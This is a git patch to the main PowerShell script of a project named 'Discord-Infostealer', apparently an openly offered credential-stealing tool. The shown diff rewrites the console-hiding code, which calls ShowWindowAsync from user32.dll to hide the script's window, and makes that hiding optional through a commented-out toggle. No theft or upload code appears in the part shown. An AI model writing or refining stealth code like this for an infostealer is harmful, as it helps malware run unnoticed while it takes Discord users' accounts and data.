From a337a70ab6593bf7f014d9331dc7acdd60dd8eb7 Mon Sep 17 00:00:00 2001 From: egieb <93350544+beigeworm@users.noreply.github.com> Date: Fri, 20 Jun 2025 20:42:54 +0000 Subject: [PATCH] Update main.ps1 --- Discord-Infostealer/main.ps1 | 26 +++++++++++++++----------- 1 file changed, 15 insertions(+), 11 deletions(-) diff --git a/Discord-Infostealer/main.ps1 b/Discord-Infostealer/main.ps1 index 119b935..fba114f 100644 --- a/Discord-Infostealer/main.ps1 +++ b/Discord-Infostealer/main.ps1 @@ -10,17 +10,21 @@ USAGE #> -$Async = '[DllImport("user32.dll")] public static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);' -$Type = Add-Type -MemberDefinition $Async -name Win32ShowWindowAsync -namespace Win32Functions -PassThru -$hwnd = (Get-Process -PID $pid).MainWindowHandle -if($hwnd -ne [System.IntPtr]::Zero){ - $Type::ShowWindowAsync($hwnd, 0) -} -else{ - $Host.UI.RawUI.WindowTitle = 'hideme' - $Proc = (Get-Process | Where-Object { $_.MainWindowTitle -eq 'hideme' }) - $hwnd = $Proc.MainWindowHandle - $Type::ShowWindowAsync($hwnd, 0) +# Uncomment $hide='y' below to hide the console + +# $hide='y' +if($hide -eq 'y'){ + $w=(Get-Process -PID $pid).MainWindowHandle + $a='[DllImport("user32.dll")] public static extern bool ShowWindowAsync(IntPtr hWnd,int nCmdShow);' + $t=Add-Type -M $a -Name Win32ShowWindowAsync -Names Win32Functions -Pass + if($w -ne [System.IntPtr]::Zero){ + $t::ShowWindowAsync($w,0) + }else{ + $Host.UI.RawUI.WindowTitle = 'xx' + $p=(Get-Process | Where-Object{$_.MainWindowTitle -eq 'xx'}) + $w=$p.MainWindowHandle + $t::ShowWindowAsync($w,0) + } } sleep 1